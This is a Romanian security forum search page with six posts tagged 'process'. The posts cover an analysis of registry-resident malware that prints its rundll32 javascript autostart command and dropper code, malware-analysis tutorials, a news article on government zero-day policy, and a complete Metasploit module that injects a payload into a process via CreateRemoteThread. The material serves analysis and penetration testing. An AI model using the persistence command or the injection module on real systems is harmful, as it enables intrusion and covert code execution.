Jump to content

Search the Community

Showing results for tags 'process'.

  • Search By Tags

    Type tags separated by commas.
  • Search By Author

Content Type


Forums

  • Informatii generale
    • Anunturi importante
    • Bine ai venit
    • Proiecte RST
  • Sectiunea tehnica
    • Exploituri
    • Challenges (CTF)
    • Bug Bounty
    • Programare
    • Securitate web
    • Reverse engineering & exploit development
    • Mobile security
    • Sisteme de operare si discutii hardware
    • Electronica
    • Wireless Pentesting
    • Black SEO & monetizare
  • Tutoriale
    • Tutoriale in romana
    • Tutoriale in engleza
    • Tutoriale video
  • Programe
    • Programe hacking
    • Programe securitate
    • Programe utile
    • Free stuff
  • Discutii generale
    • RST Market
    • Off-topic
    • Discutii incepatori
    • Stiri securitate
    • Linkuri
    • Cosul de gunoi
  • Club Test's Topics
  • Clubul saraciei absolute's Topics
  • Chernobyl Hackers's Topics
  • Programming & Fun's Jokes / Funny pictures (programming related!)
  • Programming & Fun's Programming
  • Programming & Fun's Programming challenges
  • Bani pă net's Topics
  • Cumparaturi online's Topics
  • Web Development's Forum
  • 3D Print's Topics

Find results in...

Find results that contain...


Date Created

  • Start

    End


Last Updated

  • Start

    End


Filter by number of...

Joined

  • Start

    End


Group


Website URL


Yahoo


Jabber


Skype


Location


Interests


Biography


Location


Interests


Occupation

Found 6 results

  1. ome non typical malware which doesn't have any attention from "security experts" and other internet clowns. Maybe because of this it is not well detected on VT. The key features of it, making it non typical: 1) This malware lives in registry value. 2) Non typical dropper self-deletion method, nothing zero day though. 3) Malware startup location protection in a backdoor Sirefef way. 4) It downloads, installs and uses Windows KB968930 (MS PowerShell). More details below 1) This malware stored under key HKCU\Software\Microsoft\Windows\CurrentVersion\Run and it autostart location is invisible to regedit, why explained in part 3. That's what really here. "Unnamed" value is a forged registry value that holds command to execute malware script stored in "Default" value. Exactly this value makes regedit crazy. Autostart malware script below. rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write("\74script language=jscript.encode>"+(new%20ActiveXObject("WScript.Shell")).RegRead("HKCU\\software\\microsoft\\windows\\currentversion\\run\\")+"\74/script>") It purpose - read, encode and execute script stored in the "Default" value. The decoded malware now set as process environment variable named "a" and contains additional code to execute stored again as script code, lets call it ScriptA. It is named ScriptA.txt in attached archive. Decoded script attached as ScriptB.txt. As you can see they multiple times use base64 encoding for layered payload. Inside ScriptB you can find another base64 encoded which is attached as PayloadA.txt. This is base64 encoded dll which is actual malware designed to be running inside zombified copy of dllhost.exe (this malware aware about WOW64 and will select appropriate version of this executable - Wow64DisableWow64FsRedirection %windir%\syswow64\dllhost.exe or %windir%\system32\dllhost.exe). Final payload dll (attached as payload.dll) packed with MPRESS v2.19. Unpacking MPRESS is similar to manual unpack of UPX. This dll is simple and is capable of downloading and executing arbitrary files on infected machine (WinExec). Also because it is used in startup process this dll is also responsible for zombifying dllhost.exe process and self-injection through NtQueueApcThread. 2) It uses NTFS ADS for dropper self-deletion and more trivial MoveFileEx with MOVEFILE_DELAY_UNTIL_REBOOT if first method failed. After self-deletion malware persist on infected computer only in the zombified processes VA and in the registry. First dropper attaches itself as stream to dropper. e.g. C:\malware.exe -> C:\malware.exe:0 where 0 is a NTFS data stream copy of malware.exe. Next it spawns process from ADS and calls DeleteFile. Yeah I too can F5 in HexRays. signed int __stdcall sub_401696(LPCSTR lpExistingFileName) { char *NewFileName; struct _STARTUPINFOA StartupInfo; struct _PROCESS_INFORMATION ProcessInformation; snprintf(&NewFileName, 0xFFFu, "%s:0", lpExistingFileName); if ( CopyFileA(lpExistingFileName, &NewFileName, 0) ) { StartupInfo.cb = 68; memset(&StartupInfo.lpReserved, 0, 0x40u); if ( CreateProcessA(&NewFileName, 0, 0, 0, 0, 0, 0, 0, &StartupInfo, &ProcessInformation) ) { CloseHandle(ProcessInformation.hThread); CloseHandle(ProcessInformation.hProcess); return 1; } DeleteFileA(&NewFileName); } else { if ( MoveFileExA(&NewFileName, 0, MOVEFILE_DELAY_UNTIL_REBOOT) ) return 1; } return 0; } 3) Embedded nulls used for protecting startup key HKCU\Software\Microsoft\Windows\CurrentVersion\Run key from removal and for hiding actual run value (regedit cannot handle incorrect value name and cancels listing items). Malware payload dll inside dllhost zombie process additionally works as a watchdog and will recover malware startup registry values if they are removed. Detection and Removal instructions: This malware can be easily revealed because of invasive self-protection it uses. Autoruns and ProcessExplorer from sysinternals all you need to detect presense of this malware. Locate and terminate dllhost.exe running without parents (it is launched by powershell that after exists). regdelnull hkcu -s to remove forged Run subkey. Regedit - delete whole HKCU\Software\Microsoft\Windows\CurrentVersion\Run key. Sample courtesy of R136a1 https://twitter.com/MalwareChannel/status/454939686885412864 Also thanks to B-boy/StyLe/ who bring attention to this malware. Download pass: infected Source
  2. Static Malware Analysis Starting here, I would like to share the results of my recent research into malware analysis. We will begin with some basics and proceed to advanced levels. In this first installment, we will discuss the techniques involved in static analysis of malware. I will also include some files for illustrative purposes in this document. Before we directly move onto the analysis part, let us set up context with some definitions. What is Malware? Malware is any software that does something that causes detriment to the user, computer, or network—such as viruses, trojan horses, worms, rootkits, scareware, and spyware. Malware Static Analysis Basic static analysis consists of examining the executable file without viewing the actual instructions. Basic static analysis can confirm whether a file is malicious, provide information about its functionality, and sometimes provide information that will allow you to produce simple network signatures. Basic static analysis is straightforward and can be quick, but it’s largely ineffective against sophisticated malware, and it can miss important behaviors. Enough with definitions — let’s get down to Malware Static Analysis Techniques. Malware Static Analysis Techniques Uploading the results to VirusTotal The very first technique in static analysis is to upload the suspicious executable to VirusTotal, which runs the executable against several AV solutions and gives the result. For example, the below file states that the detection ratio is 17 out of 57. Finding strings Searching through the strings can be a simple way to get hints about the functionality of a program. For example, if the program accesses a URL, then you will see the URL accessed stored as a string in the program. Microsoft has a utility called “Strings”. When Strings searches an executable for ASCII and Unicode strings, it ignores context and formatting, so that it can analyse any file type and detect strings across an entire file (though this also means that it may identify bytes of characters as strings when they are not). Strings searches for a three-letter or greater sequence of ASCII and Unicode characters, followed by a string termination character. Below are some examples of strings from which important information can be revealed. Using the Strings utility, files can be searched with following command at the cmd: Strings <filename> Example 1: Below is a string extraction of keywords from a malicious executable. As we can see, it gives us good information that functions like “FindNextFileA” and “FindFirstFileA”, which shows that this executable will search for a file, and then combining that with “CopyFileA” means that it will find a file and replace it with another file. Another important point to note that is about “Kerne132.dll”. This is a misleading text and should not be confused with “Kernel32.dll”. Example 2: Below is another extraction from a string utility. It shows us that usage of “CreateProcessA” will create a process. Commands like “Exec” and “sleep” are used to control a remote file. It can be a bot as well, and then an IP field, which can be the IP of a controlling server. Example 3: Below is another example of an extraction using Strings. Interesting fields are “InternetOpenURLA” which states that it will connect with some external server to download something, and then we have a http:// file also, which even clarifies the server address from which it will connect and download. How to check if a malware code is obfuscated or not? Often malware writers obfuscate their codes so that the files are hard to read. When a packed program runs, a wrapper program also runs around to unpack it. With static analysis, it is really hard to predict which files are packed unless it is clearly evident that they are. For example, tools like PEid sometimes are able to tell that the files are packed. In the below figure, it is clearly evident that files are packed with UPX. Files which are UPX packed can be unpacked by the following command: upx –o <newfilename> -d <packedfilename> PE file sections ETHICAL HACKING TRAINING – RESOURCES (INFOSEC) Information gathering from Portable Executable (PE) file format PE file format is used by Windows executables, DDLs etc. It contains the necessary information for Windows OS loader to run the code. While examining the PE files, we can analyse which functions have been imported, exported and what type of linking is there i.e. runtime, static or dynamic. PE file sections A PE file contains a header and some more important sections. Under these sections there is some useful information. Let’s understand these sections as well. .text: This contains the executable code. .rdata: This sections holds read only globally accessible data. [.data: Stores global data accessed through the program. .rsrc: This sections stores resources needed by the executable. Most often malware writers use dynamic linking in their code. For example, with the use of the tool Dependency Walker, we can see in the below screenshot that under WININET.dll are functions like “InternetOpenUrlA”, which states that this malware will make a connection with some external server. Note: Wininet.dll contains higher level networking functions that implement protocols such as FTP, HTTP and NTP. Under the header, there is a subsection named “IMAGE_FILE_HEADER”, which contains the timestamp field. This timestamp shows the compile time of the executable. This is very important information, since if the time is old, then there may a case that AV solutions might have a signature around it. However, this field is not reliable, since the compile can be changed easily by the malware writer. Suppose from static analysis, an analyst predicts that the executable will create a process and then suppose the following exec and sleep command is found, but there is no information found about the respective DLL, which has a function to connect with another server. In that case, the resource is hidden with the executable. Open the .rsrc section of PE file with a tool like Resource Hacker to gain more information regarding the malware. Below is the analysing of the above resource using PEview. As we have learnt with static analysis, there is very little information that can be gathered, but it is very useful too. In a coming article, I will bring in dynamic analysis though basic to the rescue. Source MALWARE ANALYSIS BASICS - PART 2 Dynamic Analysis Techniques As we have covered the malware analysis basics with static techniques here, this post is all about performing the basic analysis of malware using dynamic technique. As we have seen in the previous post, the ability to fully perform malware analysis is very much restricted using static techniques either due to obfuscation, packing, or the analyst having exhausted the available static analysis techniques. Precautions Before performing dynamic malware analysis, be sure to do it in a safe environment. Consider deploying a Windows virtual machine and using VMware for provisioning virtual machines. You should also take a snapshot of the virtual machine before executing the malicious binaries so that the safe state can be easily restored. Analyzing with Process Monitor Process Monitor is an advanced monitoring tool for Windows that provides a way to monitor certain registry, file system, network, process, and thread activities. Process Monitor monitors all system calls it can gather as soon as it is run. Since there are always huge number of calls being made in the Windows OS, it is sometimes impractical to discover important events. Process Monitor helps this issue with a filter tab through which we can filter by the type of calls. For example, see the screenshot below. It shows that I have applied a filter with operation of “WriteFile” and “RegSetValue”. These are usually the call made by a malicious executable to write the file onto the disk and to make registry changes. After applying the filter, we get a list of following events in Process Monitor. The most important are the top two entries which shows the execution of file and creation of registry entry with a new entry named “Video Driver.” Other entries can be ignored as it is usual for pseudorandom numbers to be generated. On clicking the first entry, we can even see that what action that call has made. As is clear from the screenshot below, a total 7168 bytes have been written to the file system by this binary. Analyzing with Process Explorer Process Explorer is a tool used for performing dynamic analysis and can give you a great insight onto the processes currently running onto the system. Below is an example of the process being created after running a binary. Clicking on process can help you reveal whether the process has created any mutant or not. Also it can give you all the information about the DLLs being used by the function. Below, the screenshot shows that the process uses ws2_32.dll, which means that a network connection will be made by this process. Double clicking a particular process will yield more information about the process. Some of the important attributes are: Verify Option. There is a verify option in every process to check whether that binary is signed by the MS or not. Below, the screenshot depicts that this binary is not signed by the MS. Threads will showcase the number of threads associated with this process. Strings tab can help in determining whether there is any process replacement occur or not. If two strings are drastically different then the process replacement might have occur. Below, the screenshot shows that strings in the executable both on disk and in memory. Using INetSim INetSim is a free Linux based suite for simulating common Internet services. It is sometimes difficult to analyze a malware without letting it complete execute the code and that can involve contacting the outer world for services over http, https, FTP etc. INetSIM does exactly this by emulating services like Http, Https, FTP and allows analyst to analyze the behaviour of malware. Since this is Linux based, the best way to use this is to install it on a Linux machine and keep it in the same network as that of windows testing machine. INetSIM can serve any type of request that the malware might request for. For example, suppose a malware requests for an image from the for tis code to execute. INetSIM can fulfil the request of the malware though the image will not be what malware will be looking for but it will keep the malware to keep executing the code. INetSIM can also log all the request from the client regardless of the port. This can be used to record all the data sent from malware. In the next series, we will move to advanced techniques of malware analysis using both static and dynamic analysis. Source
  3. The virus on VT: https://www.virustotal.com/en/file/8f35f6f780acccfb406b918db6ef01111dd2c5200a16e97f25d35f76e2532e6d/analysis/1432362743/ The virus inject many process like it: but I cann't found how it autostart. When OS restarted, it start itself via explorer.exe, but I do not know how it auto started. log: 2015/05/23 15:54:55 c:\windows\explorer.exe Create new process c:\users\test\appdata\roaming\mozilla\firefox\profiles\4ude5xz7.default\storage\permanent\xulstore.exe?Cmd line: "C:\Users\test\AppData\Roaming\Mozilla\Firefox\Profiles\4ude5xz7.default\storage\permanent\xulstore.exe" Download Pass: infected Source
  4. AROUND THE SAME time the US and Israel were already developing and unleashing Stuxnet on computers in Iran, using five zero-day exploits to get the digital weapon onto machines there, the government realized it needed a policy for how it should handle zero-day vulnerabilities, according to a new document obtained by the Electronic Frontier Foundation. The document, found among a handful of heavily redacted pages released after the civil liberties group sued the Office of the Director of National Intelligence to obtain them, sheds light on the backstory behind the development of the government’s zero-day policy and offers some insight into the motivations for establishing it. What the documents don’t do, however, is provide support for the government’s assertions that it discloses the “vast majority” of zero-day vulnerabilities it discovers instead of keeping them secret and exploiting them. “The level of transparency we have now is not enough,” says Andrew Crocker a legal fellow at EFF. “It doesn’t answer a lot of questions about how often the intelligence community is disclosing, whether they’re really following this process, and who is involved in making these decisions in the executive branch. More transparency is needed.” The timeframe around the development of the policy does make clear, however, that the government was deploying zero-days to attack systems long before it had established a formal policy for their use. Task Force Launched in 2008 Titled “Vulnerability Equities Process Highlights,” (.pdf) the document appears to have been created July 8, 2010, based on a date in its file name. Vulnerability equities process in the title refers to the process whereby the government assesses zero-day software security holes that it either finds or buys from contractors in order to determine whether they should be disclosed to the software vendor to be patched or kept secret so intelligence agencies can use them to hack into systems as they please. The government’s use of zero-day vulnerabilities is controversial, not least because when it withholds information about software vulnerabilities to exploit them in targeted systems, it leaves every other system that use the same software also vulnerable to being hacked, including U.S. government computers and critical infrastructure systems. According to the document, the equities process grew out of a task force the government formed in 2008 to develop a plan for improving its ability “to use the full spectrum of offensive capabilities to better defend U.S. information systems.” Source
  5. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex' class Metasploit3 < Msf::Exploit::Local include Msf::Post::Windows::Runas include Msf::Post::Windows::Priv def initialize(info = {}) super(update_info(info, 'Name' => "Windows Run Command As User", 'Description' => %q{ This module will login with the specified username/password and execute the supplied command as a hidden process. Output is not returned by default. Unless targetting a local user either set the DOMAIN, or specify a UPN user format (e.g. user@domain). This uses the CreateProcessWithLogonW WinAPI function. A custom command line can be sent instead of uploading an executable. APPLICAITON_NAME and COMMAND_LINE are passed to lpApplicationName and lpCommandLine respectively. See the MSDN documentation for how these two values interact. }, 'License' => MSF_LICENSE, 'Platform' => ['win'], 'SessionTypes' => ['meterpreter'], 'Author' => ['Kx499', 'Ben Campbell'], 'Targets' => [ [ 'Automatic', { 'Arch' => [ ARCH_X86 ] } ] ], 'DefaultTarget' => 0, 'References' => [ [ 'URL', 'https://msdn.microsoft.com/en-us/library/windows/desktop/ms682431' ] ], 'DisclosureDate' => 'Jan 01 1999' # Not valid but required by msftidy )) register_options( [ OptString.new('DOMAIN', [false, 'Domain to login with' ]), OptString.new('USER', [true, 'Username to login with' ]), OptString.new('PASSWORD', [true, 'Password to login with' ]), OptString.new('APPLICATION_NAME', [false, 'Application to be executed (lpApplicationName)', nil ]), OptString.new('COMMAND_LINE', [false, 'Command line to execute (lpCommandLine)', nil ]), OptBool.new('USE_CUSTOM_COMMAND', [true, 'Specify custom APPLICATION_NAME and COMMAND_LINE', false ]) ], self.class) end def exploit fail_with(Exploit::Failure::BadConfig, 'Must be a meterpreter session') unless session.type == 'meterpreter' fail_with(Exploit::Failure::NoAccess, 'Cannot use this technique as SYSTEM') if is_system? domain = datastore['DOMAIN'] user = datastore['USER'] password = datastore['PASSWORD'] if datastore['USE_CUSTOM_COMMAND'] application_name = datastore['APPLICATION_NAME'] command_line = datastore['COMMAND_LINE'] else command_line = nil windir = get_env('windir') # Select path of executable to run depending the architecture case sysinfo['Architecture'] when /x86/i application_name = "#{windir}\\System32\\notepad.exe" when /x64/i application_name = "#{windir}\\SysWOW64\\notepad.exe" end end pi = create_process_with_logon(domain, user, password, application_name, command_line) return unless pi begin return if datastore['USE_CUSTOM_COMMAND'] vprint_status('Injecting payload into target process') raw = payload.encoded process_handle = pi[:process_handle] virtual_alloc = session.railgun.kernel32.VirtualAllocEx(process_handle, nil, raw.length, 'MEM_COMMIT|MEM_RESERVE', 'PAGE_EXECUTE_READWRITE') address = virtual_alloc['return'] fail_with(Exploit::Failure::Unknown, "Unable to allocate memory in target process: #{virtual_alloc['ErrorMessage']}") if address == 0 write_memory = session.railgun.kernel32.WriteProcessMemory(process_handle, address, raw, raw.length, 4) fail_with(Exploit::Failure::Unknown, "Unable to write memory in target process @ 0x#{address.to_s(16)}: #{write_memory['ErrorMessage']}") unless write_memory['return'] create_remote_thread = session.railgun.kernel32.CreateRemoteThread(process_handle, nil, 0, address, nil, 0, 4) if create_remote_thread['return'] == 0 print_error("Unable to create remote thread in target process: #{create_remote_thread['ErrorMessage']}") else print_good("Started thread in target process") end ensure session.railgun.kernel32.CloseHandle(pi[:process_handle]) session.railgun.kernel32.CloseHandle(pi[:thread_handle]) end end end Source
  6. Process Detailer Version : 1.0 Features : - Show processes list - Display process name - Display process ID (PID) - Display process username - Display process path - Display process memory usage - Display total percentage of used memory - Get process details - End process by name - End process by PID - Run on startup - Tray icon Screenshot Download : CrownSoft - Process Detailer 1.0 by me
×
×
  • Create New...